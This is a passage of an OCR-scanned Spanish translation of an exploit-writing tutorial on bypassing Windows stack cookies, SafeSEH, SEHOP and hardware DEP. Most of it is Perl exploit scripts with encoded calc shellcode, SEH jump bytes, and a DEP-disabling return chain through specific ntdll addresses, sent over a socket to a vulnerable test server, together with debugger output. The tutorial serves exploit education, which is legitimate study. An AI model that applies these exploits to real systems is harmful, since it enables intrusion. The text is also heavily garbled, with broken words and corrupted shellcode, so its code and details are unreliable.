90 90 90 90 90 90 90 90-90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 90 90 90 90

iBaam! (es decir, si puedes encontrar una formevidar la corrupcion de
la Shellcode al saltar hacia delartte.

Bueno, qué diablos, vamos a usar 2 saltos hacés a@ra superar la
corrupcion y hacer que esto funcione:

- Un salto (atras) en nSEH (7 bytes), que pondRa dtlfinal de el buffer
antes de llegar a la estructura de SE.



Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

- Ejecuta un salto atras de 400 bytes (-400 (ddrima fffffe70
hexadecimal)). EI nimero de NOP’s antes de poneBhellcode se
establecio en 25 (porque la Shellcode no se ejecagaropiadamente de
otra manera).

- Vamos a poner la shellcode en el Payload antegsieléa estructura de SE
se haya sobrescrito.

$size=508; #before SE structure is hit
$nops =" \x90 " x 25; #25 needed to align shellcode
# windows/ - 144 bytes
# http: ~ //www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc

$shellcode="  \xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf

"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7
"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xb
"\x47\x62\xab6\x5f\x07\x5d\xd 7\xb4\xf1\x16\xe3\xc1\x0
" \x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x4
"\xd4\xf7\x17\x29\x11\x 7d\x 72\xba\x46\x59\x 7d\x56\x 1
"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x 7f\x54\xf3\x4
"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9
"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9
"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xa
"\xb9\x48\x57\x7a "

$junk=$nops.$shellcode;

$junk=$junk."  \x90 " x ($size- ($nops.$shellcode)-5); #5 bytes =
length of jmpcode

$junk=$junk."  \xe9\x70\xfe\xff\xff " #jump back 400 bytes
$junk=gjunk."  \xeb\xfO\xff\xff "; #jump back 7 bytes (nseh)
$junk=%junk. ('V',0x00270b0b); #seh

" Payload length : " ($junk)."  \n";
(" seh \"$junk\"\r\n ;

ﬁ Calculator

Edt View Help
| 0.

(" Hex ' Dec ( Dct' CBin :ﬁ'Demm: " Radian: T Grads

CE | c
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Vuelva a compilar el ejecutable con /GS y /Safe$&iHbas protecciones a
la vez) y prueba el exploit de nuevo.

Notaras que el exploit falla, pero eso es solo porgl offset para
sobrescribir la estructura SE es diferente (psetaurity _cookie que sigue).

Después de cambiar el offset y mover la Shellcadpaco mas, este trozo
de cdédigo hara el truco de nuevo (Windows 2003 8dR2 SP2 Standard,
Inglés. La aplicacion compilada con /GS y /SafeSEbdidispone de DEP
para seh.exe)

$size=516; #new offset to deal with GS
$nops =" \x90 " x 200; #moved shellcode a little bit
# windows/ - 144 bytes
# http:  //www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc

$shellcode="  \xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf

"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7
"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xb
"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x0
" \x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x4
"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x 7d\x56\x 1
"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x 7f\x54\xf3\x4
"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9
"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9
"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xa
"\xb9\x48\x57\x7a

$junk=$nops.$shellcode;

$junk=$junk."  \x90 " x ($size- ($nops.$shellcode)-5);
$junk=$junk."  \xe9\x70\xfe\xff\xff " #jump back 400 bytes
$junk=$junk."  \xeb\xfO\xff\xff "; #jump back 7 bytes
$junk=$junk. ('V',0x00270b0b);

" Payload length : " ($junk)."  \n";
(" seh \"$junk\"\r\n ;
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SEHOP

Un documento que explica una técnica para evitadi(FE fue lanzado
recientemente y se puede encontrar en:

Exploits Evitando SEHOP por SYSDREAM IT Securityn8ees traducido
por Ivinson.pdf
http://www.mediafire.com/?dej4gpof630b788

DEP

En todos los ejemplos que hemos utilizado hastaaalemos puesto
nuestra Shellcode en algun lugar de la pila y luegtamos de forzar la
aplicacion para saltar a nuestra Shellcode y egdeutEl HardwareDEP
(Data Execution Preventiono Prevenciéon de Ejecucion de Datos) La
meta es impedir solo eso. Se imponen paginas watajdes (basicamente
marca la pila o parte de ella como no ejecutabte)gque impide la
ejecucion de la Shellcode arbitraria.

Wikipedia dice, "DEP funciona en dos modos: DERdda por hardware
para la CPU que puede marcar las paginas de meowrna no ejecutable
(bit NX), y el software de DEP con la prevencidmitada para las CPU’s
gue no cuentan con el soporte de hardware. DERdarpor software no
protege de la ejecucion de codigo en las paginaatis, pero en lugar de
otro tipo de ataque (sobrescritura de SEH).

DEP se introdujo en Windows XP Service Pack 2 v estluido en
Windows XP Tablet PC Edition 2005, Windows Sen@0d2 Service Pack
1 y posteriores, Windows Vista y Windows Server 09 todas las
versiones recientes de Windows. "

En otras palabras: el software DEP = SafeSEH!
Software DEP no tiene nada que ver con el bit NX/&n absoluto!
(Puedes leer mas sobre el comportamiento de DEPBstnarticulo de

Microsoft KB y en Uninformed).

En castellano:
http://support.microsoft.com/kb/875352




Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

En inglés:
http://www.uninformed.org/?v=2&a=4

Cuando el procesador o sistema tiene soporte dabtistado con NX/XD,
entonces Windows DEP = hardware DEP. Si el procgsaal lo soporta,
no tienes DEP, sino s6lamentte SafeSEH (si esiifithdb).

La solapa de Prevencion de ejecucion de datos ddais le indicara si el
soporte de hardware esta habilitado o no.

Cuando el procesador o sistema no tiene habilitdd6XD o no tiene
soporte del mismo, entonces, Windows DEP = softdarBEP. La solapa
de Prevencion de ejecucion de datos de Windowslleara lo siguiente:

El procesador de su equipo no es compatible con DEP basado en
hardware, 5in embargo, \Windows puede usar software de DEP
para ayudar a prevenir cierto tipo de atagues.

[ Aceptar J | iZancelar |

2 grandes fabricantes de procesadores han puestoamrha su propia
proteccion de pagina no ejecutable (hardware DEP):

- El procesador de la proteccion de pagina no et (NX) fue
desarrollado por AMD.

- El Execute Disable Bit (XD) fue desarrollado dotel. Es importante
entender que, dependiendo de la versidon de OS @ del programa
especifico, el comportamiento de los DEP de soévpaiede ser diferente.
Cuando el software de DEP se habilita s6lo parariosesos principales de
Windows en versiones anteriores de Windows y lasiamees clientes del
sistema operativo (y puede soportar DEP para lhsaapnes que estan
habilitadas para la proteccion o tener un conjutgoindicadores), este
ajuste se ha invertido en la version posterior sistema operativo
Windows para servidores, donde todo esta protezpddDEP, a excepcion
de los procesos que se agregan manualmente daaléisexclusion. Es
bastante normal que las versiones clientes densssbperativo utilicen el
método Optln, porque tienen que ser capaces detajetodo tipo de
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paquetes de software que pueden o no ser compathbldDEP. En los
servidores, es mas seguro asumir que las apli@ique se ha probado
correctamente antes de ser implementado en urdseeiiy si las cosas se
rompen, pueden todavia ser puestas en la lista xdtusen). La
configuracion de DEP predeterminada en Windows 682003 SP1 es
OptOut. Esto significa que, por defecto, todospimscesos estan protegidos
por el DEP, excepto los que se colocan en listaexteepciones. La
configuracion de DEP por defecto en Windows XP $REindows Vista
es Optin (solo las aplicaciones y los procesos sislema estan
protegidas).

Aparte deoptin y optout hay 2 modos mas (opciones de arranque) que
afectan a la DEP:

- AlwaysOn: indica que todos los procesos estan protegidoOp®, sin
excepciones). En este modo, el DEP, no se puedgm@ea tiempo de
ejecucion.

- AlwaysOff: indica que los procesos no estam protegidos (iP.[EN
este modo, el DEP no se puede activar duranteda@pn. En los sistemas
Windows de 64 bits, el DEP siempre esta activadmoyse puede
deshabilitar. Ten en cuenta que Internet Explongues siendo una
aplicacion de 32 bits (y esta sujeta a los modd3kfe antes descritos.)

bit NX/XD

DEP forzada por hardware habilita el bit NX en @BU’s compatibles,
mediante el uso automatico de nucleo de PAE en dinadle 32 bits y el
soporte nativo de 64 bits nucleos. El DEP de Wirgldlista funciona
mediante el marcado de ciertas partes de la meroom® un intento de
mantener los datos, que solo el procesador coit BMXbo XD habilitados
lo entiende como no ejecutable. Esto ayuda a esitérito de ataques de
desbordamiento de buffer. En Windows Vista, el destde DEP para un
proceso, es decir, si DEP esta activado o desdctipara un determinado
proceso se puede ver en la ficha Procesos en einfsirador de tareas de
Windows.

El concepto de proteccion NX es bastante simpleelShardware es
compatible con NX, si el BIOS esta configurado pagamitir a NX, y el

sistema operativo lo admite, al menos, los sersiadel sistema seran
protegidos. Dependiendo de la configuracion de DIAR, aplicaciones
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podrian ser protegidas. Los compiladores como ViStalio C++ ofrecen
una bandera de enlace (/ NXCOMPAT) que permitigddalicitudes de
proteccion DEP.

Al ejecutar los exploits del tutorial anterior, eontra de un Windows
Server 2003 (R2 Service Pack 2, Standard Editiong tiene NX
(hardware DEP) habilitado, o NX desactivado y ePOttiesto en OptOut,
estos exploits dejan de trabajar (porque nuestexaon 0x00270b0bo
0x00280b0bfallé la prueba de “Chequear si este es un maoejalido”,
que es lo que hace el software DEP, o simplemextie porque intenta
ejecutar codigo de la pila (que es lo que NX / X@¥ BEP intenta evitar).

Si se agregas nuestra pequefia aplicacion vulessablexea la lista de
exclusion de DEP, el exploit funciona de nuevo gdés del cambio del
CALL dword ptr [EBP+30h] a la direccion desde 0x@0OBOb hasta
0x00280b0b). Asi DEP funciona bien.

Evitando (HW) DEP

Actualmente, hay un par de técnicas bien conogides evitar DEP:
ret2libc (sin shellcode)

Esta técnica se basa en el concepto de que, endaegeealizar un salto
directo a tu Shellcode (que sera blogueada por D¥eRealiza una llamada
a una biblioteca existente o funcidon. Como resoltael cdédigo en la
biblioteca o funcion se ejecuta (opcionalmente twoalos datos de la pila
como argumento) y se utiliza como tu "codigo maboi'. T,
basicamente, sobrescribes EIP con una llamada #&oan de codigo
existente en una biblioteca, lo que provoca, pempjo, un comando del
"sistema” "cmd". Asi, mientras que la pila de NX/X¥Del Heap evita la
ejecucion de cédigo arbitrario, el cédigo de lalibtbca sigue siendo
ejecutable y puede ser abusado. (En el fondo,nadcen una funcion de la
biblioteca con un marco de llamada falsa). Estébaae esta técnica limita
de alguna manera el tipo de cédigo que deseag&jeparo si puedes vivir
con esto, va a funcionar. Puede leer mas sobrééestiaa en:

http://www.infosecwriters.com/text resources/pdtira-to-libc.pdf

http://securitytube.net/Buffer-Overflow-Primer-R8H Return-to-Libc-
Theory)-video.aspx
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ZwProtectVirtualMemory

Esta es otra técnica que se puede utilizar patardvardware DEP. Lea
mas en:

http://woct-blog.blogspot.com/2005/01/dep-evasiechhique.html

Esta técnica se basa est2libc, en esencia, las cadenas de mdultiples
funcionesret2libc juntas con el fin de redefinir partes de la memoomo
ejecutable. En este escenario, la pila estd caafigude tal manera que,
cuando una llamada a la funcion retorne, se Illamda afuncion
VirtualProtect. Uno de los parametros que se pasasta funcion es la
direccion de retorno. Si se establece esta direat®dretorno para que sea
por ejemplo un JMP ESP, y tienes tu Shellcode dn &fndo la funcion
VirtualProtect retorne, tendras un exploit funcior@iros parametros son
la direccion de la Shellcode (o de la memoria qudebe establecer como
ejecutable (por ejemplo, la pila)), el tamafo deSlellcode, etc. Por
desgracia, retornar a VirtualProtect requiere @as sapaz de utilizar bytes
nulos (que puede ser un fastidio si estas trabajaod buffers de cadenas
de texto (strings) o un payload ASCII). No seguiablando de esta
técnica en este tutorial.

Desactivar DEP para el proceso (NtSetinformationProess)

Debido a que el DEP se puede poner en diferente®sn@ptin, optout,
etc), el sistema operativo (ntdll) tiene que sqracade desactivar DEP en
una base por proceso, en tiempo de ejecucion. wesidgbe haber algo de
cddigo, un controladoro o API, que determinaraXsidébe estar habilitado
0 no, y, opcionalmente, apague NX/XD, si es nec@sar un hacker puede
tomar ventaja de esta API ntdll, La protecciéon Nxvthvare DEP podria
ser evitada.

La configuracién de DEP para un proceso se almaeerel campo de las
Flags en el nucleo (estructura KPROCESS). Este galpuede consultar y
cambiar con NtQuerylnformationProcess y NtSetInfatanProcess, con
la clase de informacion (0x22) de ProcessExecuisFla con un
depurador de nucleo.

Activa DEP y ejecutaeh.exe través de un depurador.
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La estructura KPROCESS se parece a esto (he onwiiids los trozos que
No son necesarios):

0:000> dt nt!_ KPROCESS -r
ntdll!_KPROCESS

+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits

La estructura _KPROCESS para el proceso de seloereeempieza en
0 x 00400000) contiene los siguientes valores:

0:000> dt nt!_ KPROCESS 00400000 -r
ntdll!_KPROCESS
+0x000 Header : _DISPATCHER_HEADER

+0x06b Flags . _KEXECUTE_OPTIONS

+0x000 ExecuteDisable : 0yl
+0x000 ExecuteEnable : Oy0
+0x000 DisableThunkEmulation : Oy0
+0x000 Permanent 0)Y(0]

+0x000 ExecuteDispatchEnable : 0y0
+0x000 ImageDispatchEnable : Oyl
+0x000 Spare 0)Y(0[0]

(De nuevo, los trozos no necesarios fueron exciido

"ExecuteDisable” se establece cuando DEP esta ithdbil
"ExecuteEnable" se establece cuando DEP esta digsiaab La bandera o
flag "permanente”, cuando se establece, indicaegtos valores son finales
y no se pueden cambiar.

David Kennedy (de SecureState) ha publicado rezmesmte un excelente
articulo (basado parcialmente en la obra de Sk&plkeywing publicado en

Internet en Uninformed) sobre la forma en que ebiware DEP puede ser
evitado en Windows 2003 Service Pack 2. Me limithhadblar de esta
técnica de nuevo en este tutorial.
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En esencia, esta técnica para evitar DEP llama &ufeiones del sistema
gue van a desactivar el DEP, y luego retorna en&dl®de. Con el fin de
ser capaz de hacerlo, tienes que poder configargild de una manera
especial. Entenderds lo que quiero decir, rapideamen

Lo primero que tiene que ocurrir es una “llamadalaa funcién
NtSetInformationProcess” (que reside en el enrgami de
LdrpcCheckNXCompatibility ntdll), Cuando esta fubcise llama (con la
clase de informacion (0 x 22) ProcessExecuteFlags)a bandera
MEM_EXECUTE_OPTION_ENABLE (0 x 2) es especifica@dh DEP se
desactivara. En resumen, la llamada a la funcigrasece a esto (copiado
de la ponencia de Skape y Skywing):

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
NtCurrentProcess(), /l (HANDLE)-1

ProcessExecuteFlags, Il Ox22
&ExecuteFlags, /I ptr to 0x2
sizeof(ExecuteFlags)); Il Ox4

Para iniciar esta llamada a la funcidén, puedegaitilun par de técnicas.
Una posibilidad seria la de utilizar un método Iie2 el flujo tendria que
ser redirigido a la funcion NtSetinformationProceSen el fin de que se
introduzcan los argumentos correctos, la pila t@endue ser configurada
para contener los valores correctos. El inconvéaide este escenario es
que tendrias que ser capaz de utilizar un byteewle buffer de ataque.

Otra posibilidad seria la de tomar ventaja de gtupo de codigo existente
en ntdll, que desactivara el soporte NX para etgso, y transferira el
control al buffer controlado por el usuario. Tuadweth tendras que ser capaz
de configurar la pila para hacer esto, pero noréendecesitaras controlar
los argumentos.

Ten en cuenta que esta técnica puede ser paraewiarvmuy especifica
del sistema operativo. Esta técnica es mucho n@sd@ utilizar en un

Windows XP SP2 o SP3 o Windows 2003 Service Pagpkelun Windows

2003 Service Pack 2.
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Desactivar DEP en Windows XP / Windows 2003 Servideack 1:
demostracion

Para desactivar NX/HW DEP en Windows XP, debesrlacgguiente:

- Eax se debe establecer en 1 (asi, el bit bajpAd€ debe establecerse en
1) y luego debe volver a la funcion (instruccionemo "mov eax, 1/ ret" -

"mov al, 0x1 / ret" - "xor eax, eax / inc eax /'retetc, serviran). Veras por
gué esto tiene que suceder en un minuto.

- Salta a LdrpCheckNXCompatibility, donde sucedsitpiente:
(1) Pone ESl a 2.
(2) Ve si el flag Z esta configurado (que es ebc$EAX contiene 1).

(3) Se hace una comprobacion de si el byte bajgAd¢ contiene 1 o no.
Si lo hace, un salto se hace a otro trozo de codao
LdrpCheckNXCompatibility.

(4) Una variable local se establece en el contetd&SI. (ESI contiene 2 -
consulta el paso (1), por lo que esta variableeraita 2).

(5) Va al otro trozo de codigo en LdrpCheckNXConipky .

(6) Se realiza una comprobacion para ver si establa local contiene 0.
Contiene 2 (ver paso 4), por lo que volvera a nliggflujo y saltara a otro
trozo de cédigo en LdrpCheckNXCompatibility.

(7) En este caso, una llamada a NtSetInformatia@3 se hace, con la
clase de informacion de ProcessExecuteFlags. Bepurel parametro

Processinformation se pasa, que se inicia coniantid en 2 (ver paso 1
y 4). Esto pasa cuando NX es deshabilitado pgreoekso.

(8) En este lugar, un epilogo tipico de funcionefecuta (los registros
guardados se restauran e instrucciones LEAVE o &tETlamadas).
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Para conseguir que esto funcione, necesitas satiegc®iones, que deben
ser colocadas en lugares muy especificos en la pila

- Establecer EAX a 1 y retornar. Es necesario pataescribir EIP con
esta direccion.

-La direccion de inicio de CMP AL, 0x1 dentro de diht
LdrpCheckNXCompatibility! Cuando EAX se estableceley la funciéon
retorna, esta direccion debe ser la siguiente 8nda en la pila (por lo que
se esta poniendo en EIP). Presta atencion a laudogn RET del paso
anterior. Si hay un RET + offset, puede que tengas aplicar esta
compensacion en la pila. Esto hara que el flujesalla funcion que va a
desactivarda NX y luego retorna. Solo traza el akglge a donde retorna.

- Salta a tu Shellcode (JMP ESP, etc.) Cuando dalile NX" retorna,
esta direccion debe ser puesta en EIP.

Por otra parte, EBP debe apuntar a una direccititiawa de escritura, por
lo que el valor (digito '2 ') se puede almacenatgBariable, que servira
como un parametro a la llamada de Setinformatiaré?s) desactivando
NX). Ya que has sobrescrito el EBP guardado cohuter, tendras que
construir una técnica que harad que EBP apunta aiveecion valida y de
escritura (direccion en la pila, por ejemplo) ardesiniciar la rutina para
desactivar NX. Hablaremos de esto mas adelante.

Para demostrar como evitar DEP en Windows XP, vama#ilizar la
aplicacion de servidor vulnerable (codigo dispamih la parte superior de
este post en Demostracion y Depuracion de la Proteccion de laké@odel
Stack"), que va a generar una escucha de red (DOPy2espera a que
entre. Esta aplicacién es vulnerable a un desboesdonde bufer, lo que
nos permite controlar directamente el RET (EIP dado). Compila este
codigo en Windows XP Service Pack 3 (sin /GS, sifeSEH). Asegurate
que DEP esté habilitado.

Vamos a reunir todos los componentes y la confaganade la pila de una
manera especial, que se requiere para hacer &ségotde bypass.

Podemos encontrar una instruccion que pondra Jhely duego regresara
en ntdll (NtdllOkayToLockRoutine).
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ntdll!NtdllOkayToLockRoutine:
7c95371a b001 mov al,1

7c95371c c20400 ret 4

Presta atencion: tenemos que hacer frente a unicamalDffset de 4 bytes
ret O (porque se ejecutara un ret+0x04).

Algunas instrucciones posibles se pueden encaoaar

kernel32.dll:

kernel32!NIsThreadCleanup+0x71:
7c¢80cla0 b001 mov al,1

7c80cla2 c3 ret

rpcrt4.dll :

0:000> u 0x77edad402
RPCRT4INDR_PIPE_HELPER32::GotoNextParam+0x1b:
77eda402 b001 mov al,1

77edad04 c3 ret

rpcrt4.dll :

0:000> u 0x77edabba
RPCRT4!INDR_PIPE_HELPER32::VerifyChunkTailCounter:

77edabba b001 mov al,1
77edabbc c20800 ret 8

Presta atencion: ret 0 x 08!
(Voy a explicar cobmo buscar estas direcciones mékate)

Ok, tenemos 4 direcciones que se encargaran denerprequisito. Esta
direccidén debe ser puesta en la direccién de Edrdgulo.
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La funcion de LdrpCheckNXCompatibility en Window#)>Service Pack 3
(Inglés) es la siguiente:

0:000> uf ntdll!LdrpCheckNXCompatibility

ntdll!LdrpCheckNXCompatibility:

7c91cd31 8bff mov  edi,edi

7¢91cd33 55 ebp

7c91cd34 8bhec mov  ebp,esp

7c91cd36 51 ecx

7¢91cd37 8365fc00 and dword ptr [ebp-4],

7¢91cd3b 56 esi

7c91cd3c ff7508 dword ptr [ebp+8]

7c91cd3f e887ffffff  call ntdlllLdrpCheckSaf eDiscDII (7c91ccch)

En 7c91cd44, pasos 1 al 3 son ejecutados. EStadexse en 2, y vamos a
saltar a 0x7c94153e.). Esto significa que la seguddeccion que
necesitamos disefiar en nuestra pila personalizadeSd.cd44.

En 7c91cd49, el salto se hace a 7c94153e, queenentas siguientes
instrucciones:

ntdll!LdrpCheckNXCompatibility+0x1a:

7c94153e 8975fc mov  dword ptr [ebp-4], esi

7c941541 e909b8fdff  jmp  ntdll'LdrpCheckNXC ompatibility+0x1d
(7c91cd4f)

Aqui es donde los pasos 4 y 5 son ejecutados. @&8ieoe el valor 2, y
EBP-4 ahora se llena con el contenido de ESI (A2pntinuacion vamos
a saltar a 7¢91cd4f, que contiene las siguientaicciones:

0:000> u 7c91cd4f
ntdll!LdrpCheckNXCompatibility+0x1d:
7c91cd4f 837dfc00 cmp  dword ptr [ebp-4], 0]

7c¢91cd53 0f85089b0100 jne ntdll!LdrpCheckNXC ompatibility+0x4d
(7c936861)

Este es el paso 6. El codigo determina si la viriaisal (ebp-4) contiene O
0 no. Hemos puesto 2 "en esta variable local, @guk el salto (salto si no
es igual) se hace a 7c936861.



Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

En esa direccion, las siguientes instruccionesgutadas (paso 7):

0:000> u 7c936861
ntdll!LdrpCheckNXCompatibility+0x4d:
7c936861 6a04 4

7c936863 8d45fc lea eax,[ebp-4]
7c936866 50 eax
7c936867 6a22 22h

7c936869 6aff OFFFFFFFFh

7c93686b e€82e74fdff  call ntdll!ZwSetIinforma tionProcess
(7c90dc9e)

7c936870 e91865feff  jmp  ntdll!LdrpCheckNXC ompatibility+0x5c
(7c91cd8d)

7¢936875 90 nop

En 7c93686b, la funcion ZwSetinformationProcess llagmada. Las
instrucciones antes de ese lugar, basicamentélexsta los argumentos de
la clase de informacion ProcessExecuteFlags. Unesties parametros
(actualmente en ebp-4) es 0x02, lo que significa YX se desactivara.
Cuando esta funcidén se completa, retorna de nueeoejecuta la siguiente
instruccion (en 7¢936870), que contiene el epilogo:

ntdll!LdrpCheckNXCompatibility+0x5c:
7c91cd8d 5e esi

7c91cd8e c9 leave
7¢91cd8f c20400 ret 4

En ese momento, NX esta desactivado, y el "RETaltars de nuevo a la
funcion de llamada. Si hemos puesto en marcha l#é qurrectamente,
aterrizaremos de nuevo en un lugar en la pila ge€gser llenado con una
instruccién de salto a nuestra Shellcode.

Suena simple - pero los chicos que descubrieroa t&snica, o mas
probable es que tuvieron que investigar todo erroidverso. Choquen
esos 5 y felicitaciones por su excelente trabajo!

De todas formas, ¢qué significa esto en términosrelecion de la pila?
Hemos hablado acerca de las direcciones y offsgtstpnerlos en cuenta,
pero ¢,qué necesitamos para construir nuestro Buffer

Immunity Debugger nos puede ayudar con esto. Ya\wigle con un
pycommand! Findantidep, que te ayudard a la creadé la pila
correctamente. Por otra parte, mi propio pycommanefindaddr
personalizado puede ayudarte a buscar mas direscigne podrian ser
utilizadas para la creacion de la pila. (Me he dadenta de que
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IFindantidep no siempre obtiene la direccion cdaeasi que puedes usar
IFindantidep para obtener la estructura de pilpygfindaddr para obtener
las direcciones correctas).

pvefindaddr para ImmDbg v1.73

https://www.corelan.be/?dl id=31

En primer lugar, busca dos de las direcciones daseaitilizando
pvefindaddr.

ECUTE_RERD)
UTE_RERD)
TE_RERD)

UTE_RERD)

: [PRGE_EXECUTE_RERD)

I!pw:findaddr depxpsp3

A continuacion, ejecuta !Findantidep para obtereerebtructura. Este
pycommand te mostrara 3 cuadros de diadlogo. Séhesi que seleccionar
una direccion en el primer cuadro (cualquier dikett y luego rellena

"JMP ESP 'en el segundo cuadro (sin las comillasglgcciona cualquier
direccion de la tercera caja. Ten en cuenta questamos interesados en
las direcciones facilitadas por findantidep, s@idaeestructura.

Abra la ventana de registro:

wF£7 - UAT W 354+

\xa0\xc1\x80\x 7 c\xfAXfAXf\xff\x48\x2c\x91\x 7 c\xf PAXFAXFAXFT
+"  A"*0x54
+"  \X73\x12\xab\x71
+ shellcode

Esto nos muestra coOmo tenemos que configurar #a @gé acuerdo con
ifindantidep.
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1st addr | 1| 2nd address | | 54 bytes | jmp to shellc | shellc

1st addr = Pone eax a 1 y retorna. (Por ejemploc®B371a - descubierto
con pvefindaddr). En nuestro payload maliciosa estlo que necesitamos
para sobrescribir EIP guardado. En esta direc@&iic®5371a), el RET 4
se lleva a cabo, por lo que hay que afadir 4 lmgesOompensacion después
de esta direccidén (offset 1).

2nd addr = inicia el proceso de desactivar NX mdlbaa CMP AL, 1. Esto

es 0x7c91cd44 (descubierto con pvefindaddr). Cuasmdt® proceso

retornE, otro ret 4 se llevara a cabo (por lo geleethos afiadir un Offset
de 4 bytes mas) (offset 2).

A continuaciéon, 54 bytes de relleno se afiaden. Estmecesario para
ajustar la pila. Después que NX esta desactivadaglistros guardados se
extraen de la pila y luego una instruccion LEAVE gecuta. En ese

momento, EBP es de 54 bytes lejos de ESP, asiamaecpmpensar esto,
tenemos que anadir 54 bytes.

Entonces, después de estos 54 bytes, tenemos geelaalireccion de un
"imp a la Shellcode". Este es el lugar donde gbfitolvera a después de
desactivar NX. Por ultimo, podemos poner nuestedl&ide.

(Es obvio que esta estructura de pila dependesdealores de la pila reales
cuando el exploit se ejecute. Solo hay que ves pugde hacer referencia a
la Shellcode al hacer un JIMP/CALL/PUSH +RET y mdlelos valores
correspondientes). De hecho, toda la estructurdraaas por !Findantidep
es solo teoria. Sélo tienes que construir el byigso a paso y mirando
valores de registro después de cada paso. Esteegarard de que estas
construyendo el buffer correctamente. Y eso es temsnte lo que
haremos usando nuestra aplicacion de ejemplo.

Vamos a echar un vistazo a nuestro ejempiimsrv.exe Sabemos que
vamos a sobreescribir el EIP guardado después &idyges. Asi que en
lugar de sobrescribir el EIP guardado con la diéecdel JIMP ESP, vamos
a poner el buffer especialmente disefiado en ese, llagque desactivara el
NX primero.

Vamos a construir la pila a partir de cero. Vamasrgezar por poner la
direccion por primera vez en el EIP guardado y duegr a donde nos
lleva:
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508 A’s + 0x7c95371a + “BBBB” + “CCCC” + 54 D’'s 4EEEE” + 700
F's.

strict;
Socket;
$junk =" A" x 508;

$disabledep = ('V',0x7¢c95371a);
$disabledep = $disabledep." BBBB;;
$disabledep = $disabledep." CCCC;
$disabledep = $disabledep.(" D' x 54);
$disabledep = $disabledep.(" EEEE);
$shellcode="  F" x 700;

# initialize host and port
$host = | 'localhost’;
$port = [| 200;
$proto = ('tep’);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $|addr)
[+] Setting up socket\n
# create the to the port
(SOCKET PF_ INET SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n "
(SOCKET, $paddr) or " connect: $!
" [+] Sending payload\n h
$payload = $junk. $d|sabledep $shel|code \n "
SOCKET $payload." \n"
" [+] Payload sent, ($payload)." bytes\n
SOCKET or " close: ! "

Después de ejecutar este buffer contra la aplicaokitenemos esto:

(1154.13c4): Access violation - code c0000005 (firs t chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012e701 ebx=00000000 ecx=0012e565 edx=0012e700 esi=00000001
edi=00403388

eip=42424242 esp=0012e26¢c ebp=41414141 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010246

42424242 ?7?

OK, la direccion funciond por primera vez. ESI ¢ené 1y el flujo retorna
a BBBB. Asi que tenemos que poner la segunda deabonde esta
BBBB. Lo Unico adicional que necesitamos tener eenta es EBP. Al
saltar a la segunda direccion, sabemos que en orenio dado, el valor 2
se almacena en una variable local en EBP-4. En mato EBP no
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contiene una direccion valida, por lo que esta apén fallara lo mas
probable.

Vamos a ver:

strict;
Socket;
$junk =" A" x 508;

$disabledep = ('V',0x7¢c95371a);
$disabledep = $disabledep. ('V',0x7c91cd44);
$disabledep = $disabledep." CCCC;
$disabledep = $disabledep.(" D' x 54);
$disabledep = $disabledep.(" EEEE);
$shellcode="  F" x 700;

# initialize host and port
$host = | 'localhost’;
$port = [| 200;
$proto = ('tep’);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $|addr)
[+] Setting up socket\n
# create the to the port
(SOCKET PF_ INET SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n
(SOCKET, $paddr) or " connect: $!
" [+] Sending payload\n h
$payload = $junk. $d|sabledep $shel|code \n "
SOCKET $payload.” \n"
" [+] Payload sent, ($payload)." bytes\n
SOCKET or " close: ! "

La aplicacion muere. WinDBG dice:

(11ac.1530): Access violation - code c0000005 (firs t chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

